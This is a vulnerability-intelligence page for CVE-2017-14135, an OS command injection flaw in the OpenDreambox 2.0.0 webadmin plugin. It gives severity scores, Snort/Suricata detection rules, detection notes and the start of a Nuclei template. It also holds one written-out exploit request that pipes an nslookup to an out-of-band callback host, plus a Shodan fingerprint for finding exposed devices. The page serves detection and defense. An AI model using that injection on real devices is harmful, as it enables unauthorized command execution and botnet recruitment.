CVE-2017-14135
published 2017-09-04CVE-2017-14135: enigma2-plugins/blob/master/webadmin/src/WebChilds/Script.py in the webadmin plugin for opendreambox 2.0.0 allows remote attackers to execute arbitrary OS…
PriorityP184critical9.8CVSS 3.0
AVNACLPRNUINSUCHIHAH
ITWEXPLOITVulnCheck KEV
Exploited in the wild
EPSS
21.84%
97.3th percentile
enigma2-plugins/blob/master/webadmin/src/WebChilds/Script.py in the webadmin plugin for opendreambox 2.0.0 allows remote attackers to execute arbitrary OS commands via shell metacharacters in the command parameter to the /script URI.
Affected
1 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| dreambox | opendreambox | — | — |
Detection & IOCsextracted from sources · hover to see the quote
commandGET /webadmin/script?command=|%20nslookup%20{{interactsh-url}}
snort
alert http $EXTERNAL_NET any -> $HTTP_SERVERS any (msg:"ET EXPLOIT Possible OpenDreamBox Attempted Remote Command Injection Inbound"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"/webadmin/script?command="; fast_pattern; reference:url,unit42.paloaltonetworks.com/new-mirai-variant-adds-8-new-exploits-targets-additional-iot-devices/; reference:cve,CVE-2017-14135; classtype:attempted-admin; sid:2027453; rev:3; metadata:attack_target IoT, created_at 2019_06_11, deployment Perimeter, performance_impact Low, confidence High, signature_severity Major, updated_at 2020_08_31, mitre_tactic_id TA0008, mitre_tactic_name Lateral_Movement, mitre_technique_id T1210, mitre_technique_name Exploitation_Of_Remote_Services;)
snort
alert http $HTTP_SERVERS any -> $EXTERNAL_NET any (msg:"ET EXPLOIT Possible OpenDreamBox Attempted Remote Command Injection Outbound"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"/webadmin/script?command="; fast_pattern; reference:url,unit42.paloaltonetworks.com/new-mirai-variant-adds-8-new-exploits-targets-additional-iot-devices/; reference:cve,CVE-2017-14135; classtype:attempted-admin; sid:2027452; rev:3; metadata:attack_target IoT, created_at 2019_06_11, deployment Perimeter, performance_impact Low, confidence High, signature_severity Major, updated_at 2020_08_31, mitre_tactic_id TA0008, mitre_tactic_name Lateral_Movement, mitre_technique_id T1210, mitre_technique_name Exploitation_Of_Remote_Services;)
- →Exploit traffic uses shell metacharacter '|' in the 'command' parameter of POST/GET requests to /webadmin/script — look for pipe, semicolon, backtick, or other shell metacharacters in that parameter. ↗
- →Response body containing '/bin/sh' or '/usr/script' is a strong indicator of successful exploitation.
- →Shodan/FOFA fingerprint for exposed targets: HTTP title 'Dreambox WebControl' — use as a pre-exploitation discovery indicator.
- →Emerging Threats rules (SID 2027452/2027453) flag both inbound and outbound POST requests containing '/webadmin/script?command=' — associated with Mirai variant exploitation of IoT devices.
- →DNS callback (OOB) via nslookup is used in PoC to confirm blind RCE — monitor for unexpected DNS lookups originating from OpenDreambox hosts.
- ·The Emerging Threats Snort rules (SID 2027452/2027453) only match POST method requests to /webadmin/script?command=; the Nuclei PoC template uses GET — detection rules may miss GET-based exploitation attempts.
- ·The vulnerable file path is within the webadmin plugin source; exploitation requires the webadmin plugin to be installed and accessible on the target OpenDreambox 2.0.0 device.
CVSS provenance
nvdv3.09.8CRITICALCVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
nvdv2.010.0CRITICALAV:N/AC:L/Au:N/C:C/I:C/A:C
vulncheck9.8CRITICAL
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
GHSA
GHSA-9hmm-f56w-7jj9: enigma2-plugins/blob/master/webadmin/src/WebChilds/Script
ghsa_unreviewed·2022-05-17
CVE-2017-14135 [CRITICAL] CWE-78 GHSA-9hmm-f56w-7jj9: enigma2-plugins/blob/master/webadmin/src/WebChilds/Script
enigma2-plugins/blob/master/webadmin/src/WebChilds/Script.py in the webadmin plugin for opendreambox 2.0.0 allows remote attackers to execute arbitrary OS commands via shell metacharacters in the command parameter to the /script URI.
VulnCheck
dreambox opendreambox Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
vulncheck·2017·CVSS 9.8
CVE-2017-14135 [CRITICAL] dreambox opendreambox Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
dreambox opendreambox Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
enigma2-plugins/blob/master/webadmin/src/WebChilds/Script.py in the webadmin plugin for opendreambox 2.0.0 allows remote attackers to execute arbitrary OS commands via shell metacharacters in the command parameter to the /script URI.
Affected: dreambox opendreambox
Required Action: Apply remediations or mitigations per vendor instructions or discontinue use of the product if remediation or mitigations are unavailable.
Exploitation References: https://www.akamai.com/blog/security/latest-echobot-26-infection-vectors; https://www.bleepingcomputer.com/news/security/reverse-shell-botnet-gitpaste-12-spreads-via-github-and-pastebin/#google_vignette; https://www.researchgate.net/pub
Suricata
ET EXPLOIT Possible OpenDreamBox Attempted Remote Command Injection Inbound
suricata·2019-06-11·CVSS 9.8
CVE-2017-14135 [CRITICAL] ET EXPLOIT Possible OpenDreamBox Attempted Remote Command Injection Inbound
ET EXPLOIT Possible OpenDreamBox Attempted Remote Command Injection Inbound
Rule: alert http $EXTERNAL_NET any -> $HTTP_SERVERS any (msg:"ET EXPLOIT Possible OpenDreamBox Attempted Remote Command Injection Inbound"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"/webadmin/script?command="; fast_pattern; reference:url,unit42.paloaltonetworks.com/new-mirai-variant-adds-8-new-exploits-targets-additional-iot-devices/; reference:cve,CVE-2017-14135; classtype:attempted-admin; sid:2027453; rev:3; metadata:attack_target IoT, created_at 2019_06_11, deployment Perimeter, performance_impact Low, confidence High, signature_severity Major, updated_at 2020_08_31, mitre_tactic_id TA0008, mitre_tactic_name Lateral_Movement, mitre_technique_id T1210, mitre_technique_name Explo
Suricata
ET EXPLOIT Possible OpenDreamBox Attempted Remote Command Injection Outbound
suricata·2019-06-11·CVSS 9.8
CVE-2017-14135 [CRITICAL] ET EXPLOIT Possible OpenDreamBox Attempted Remote Command Injection Outbound
ET EXPLOIT Possible OpenDreamBox Attempted Remote Command Injection Outbound
Rule: alert http $HTTP_SERVERS any -> $EXTERNAL_NET any (msg:"ET EXPLOIT Possible OpenDreamBox Attempted Remote Command Injection Outbound"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"/webadmin/script?command="; fast_pattern; reference:url,unit42.paloaltonetworks.com/new-mirai-variant-adds-8-new-exploits-targets-additional-iot-devices/; reference:cve,CVE-2017-14135; classtype:attempted-admin; sid:2027452; rev:3; metadata:attack_target IoT, created_at 2019_06_11, deployment Perimeter, performance_impact Low, confidence High, signature_severity Major, updated_at 2020_08_31, mitre_tactic_id TA0008, mitre_tactic_name Lateral_Movement, mitre_technique_id T1210, mitre_technique_name Exp
Nuclei
OpenDreambox 2.0.0 - Remote Code Execution
nuclei·CVSS 9.8
CVE-2017-14135 [CRITICAL] OpenDreambox 2.0.0 - Remote Code Execution
OpenDreambox 2.0.0 - Remote Code Execution
OpenDreambox 2.0.0 is susceptible to remote code execution via the webadmin plugin. Remote attackers can execute arbitrary OS commands via shell metacharacters in the command parameter to the /script URI in enigma2-plugins/blob/master/webadmin/src/WebChilds/Script.py.
Template:
id: CVE-2017-14135
info:
name: OpenDreambox 2.0.0 - Remote Code Execution
author: alph4byt3
severity: critical
description: OpenDreambox 2.0.0 is susceptible to remote code execution via the webadmin plugin. Remote attackers can execute arbitrary OS commands via shell metacharacters in the command parameter to the /script URI in enigma2-plugins/blob/master/webadmin/src/WebChilds/Script.py.
impact: |
Successful exploitation of this vulnerability could allow an attacker t
2017-09-04
Published
Exploited in the wild